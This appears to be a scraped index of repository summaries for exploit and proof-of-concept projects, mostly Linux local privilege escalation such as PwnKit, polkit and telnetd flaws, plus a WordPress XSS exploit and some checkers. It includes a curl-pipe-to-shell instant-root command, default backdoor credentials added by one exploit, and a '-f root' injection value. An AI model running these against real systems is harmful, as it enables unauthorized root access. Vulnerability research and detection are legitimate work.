windows-smb-vulnerability-framework-cve-2025-33073

Windows SMB Client Vulnerability Research Framework Author: cyberseallll Created: 2025 Overview I developed this research framework to analyze and understand CVE-2025-33073, a critical Windows SMB Client Elevation of Privilege vulnerability. This implementation provides comprehensive tools for...

CVE-2021-4034

CVE-2021-4034 CVE-2021-4034 Add Root User - Pkexec Local Privilege Escalation 根据CVE-2021-4034进行了加强，执行Exploit将会默认添加用户名rooter，密码Hello@World，并且rooter用户将具有sudo权限。 Refer to CVE-2021-4034, executing Exploit will add username rooter, password Hello@World by default, and The rooter user will have sudo...

CVE-2026-28372-telnetd-Privilege-Escalation

CVE-2026-28372: GNU inetutils telnetd Privilege Escalation Professional Proof-of-Concept PoC for CVE-2026-28372, a Local Privilege Escalation LPE vulnerability found in GNU inetutils telnetd versions ≤ 2.7. Technical Summary The vulnerability occurs because telnetd improperly passes...

CVE-2021-4034-new

CVE-2021-4034 One day for the polkit privilege escalation exploit Just execute make, ./cve-2021-4034 and enjoy your root shell. The original advisory by the real authors is here...

modrosnlr5

🧬 modrosnlr5 – Linux Kernel LPE PoC CVE-2026-31431 Proof-of-concept tool designed to validate the exploitation of the CVE-2026-31431 vulnerability on Linux systems. The exploit leverages the kernel's AFALG socket interface to inject a payload and obtain a root shell from an unprivileged user...

MitigationToolkit-ROSN-LR5-Full

🧬 ROSN-LR5 – Kernel LPE PoC & Mitigation Toolkit CVE-2026-31431 Offensive and defensive tool for the CVE-2026-31431 vulnerability on Linux systems. It combines a local privilege escalation LPE proof of concept with utilities to review and temporarily mitigate the AFALG-based attack vector. ⚖️...

Copy-Fail

CVE-2026-31431 – "Copy Fail" Reachability Checker A simple, safe Python script that determines whether a Linux system is vulnerable to CVE-2026-31431 "Copy Fail", a local privilege escalation that affects all major distributions since kernel 4.14. ⚠️ What is Copy Fail? CVE-2026-31431 is a...

pwnkit-exploit

pwnkit CVE-2021-4034 Privilege Escalation exploit sample This repository contains an exploit of CVE-2021-4034, a local privilege escalation in pkexec. This implementation is based on that described in the CVE disclosure, which you should read. If this works on your machine, it means you are...

CVE-2021-4034

CVE-2021-4034 PoC CVE 2021-4034 PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec PoC Verified on Kali. ┌──kali㉿kali-/Documents └─$ grep PRETTY /etc/os-release PRETTYNAME="Kali GNU/Linux Rolling" ──kali㉿kali-/Documents └─$ lsbrelease -a No LSB modules are available...

cve-2026-25676

CVE-2026-25676 Research DLL Search Path Hijacking in M-Track Duo HD Installer Overview This repository contains initial research and a proof-of-concept related to CVE-2026-25676, a DLL search path hijacking vulnerability affecting the installer of M-Track Duo HD 1.0.0. The goal of this project is...

CVE-2021-4034

CVE-2021-4034 Dirty PoC for CVE-2021-4034 Pwnkit Full credits to Qualys Team https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034...

CVE-2021-4034

CVE-2021-4034 A day for the polkit privilege escalation exploit Simply run and enjoy ./blasty for your root shell. The original advisory from the real authors is - here Installation If the exploit works, you will get a root shell immediately: user@tecnokarita-/Descargas $ git clone...

ez-pwnkit

ez-pwnkit A pure-Go implementation of the CVE-2021-4034 PwnKit exploit. The exploit use syscall.ForkExec to survive end of main program. Installation git clone https://github.com/OXDBXKXO/ez-pwnkit.git cd ez-pwnkit make As the exploit relies on a malicious shared library, a PWN.so file is generat...

CTF_CVE_DSP_1

🚩 Vuln Gallery CTF Welcome to Vuln Gallery , an intermediate-level Linux-based CTF Capture The Flag. This challenge will guide you from the initial exploitation of a modern web application to privilege escalation on a misconfigured Linux system. Your mission is to exploit the vulnerabilities, mov...

CVE-2021-4034

CVE-2021-4034 PWNKIT Script to create e exploit vuln for CTF. Source code by github.com/berdav Real Author: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt...

CVE-2021-3560

CVE-2021-3560 Polkit Instant Root Exploit You can run one command to root with Polkit CVE-2021-3560 vulnerable boxes by typing in: sh -c "$curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-3560/main/polkit.sh" Or you can download the .sh or copy and paste it. Run and Instant Root. Us...

CVE-2026-3228

CVE-2026-3228 - NextScripts WordPress Plugin Stored XSS Scanner & Exploit https://img.shields.io/badge/python-3.6+-blue.svg https://img.shields.io/badge/license-MIT-green https://img.shields.io/badge/WordPress-Plugin-red Author: NULL200OK A comprehensive Python tool to scan for and exploit...

copy-fail-CVE-2026-31431

Copy Fail - CVE-2026-31431 Copy Fail CVE-2026-31431 PoC and payload examples. Technical Writeup: https://xint.io/blog/copy-fail-linux-distributions Affected Linux Distributions Distro| Kernel Version ---|--- Ubuntu 24.04 LTS| 6.17.0-1007-aws Amazon Linux 2023| 6.18.8-9.213.amzn2023 RHEL 10.1|...

CVE-2021-4034

CVE-2021-4034 A stupid poc for CVE-2021-4034 - Local privilege escalation pkexec SUID binary Vulnerability explained in the advisory here...

CVE-2026-24061

GNU InetUtils telnetd Authentication Bypass via Argument Injection - CVE-2026-24061 📚 Introduction A recently identified argument injection vulnerability in GNU InetUtils telnetd allows attackers to circumvent authentication by setting the USER environment variable to the value “-f root”. As a...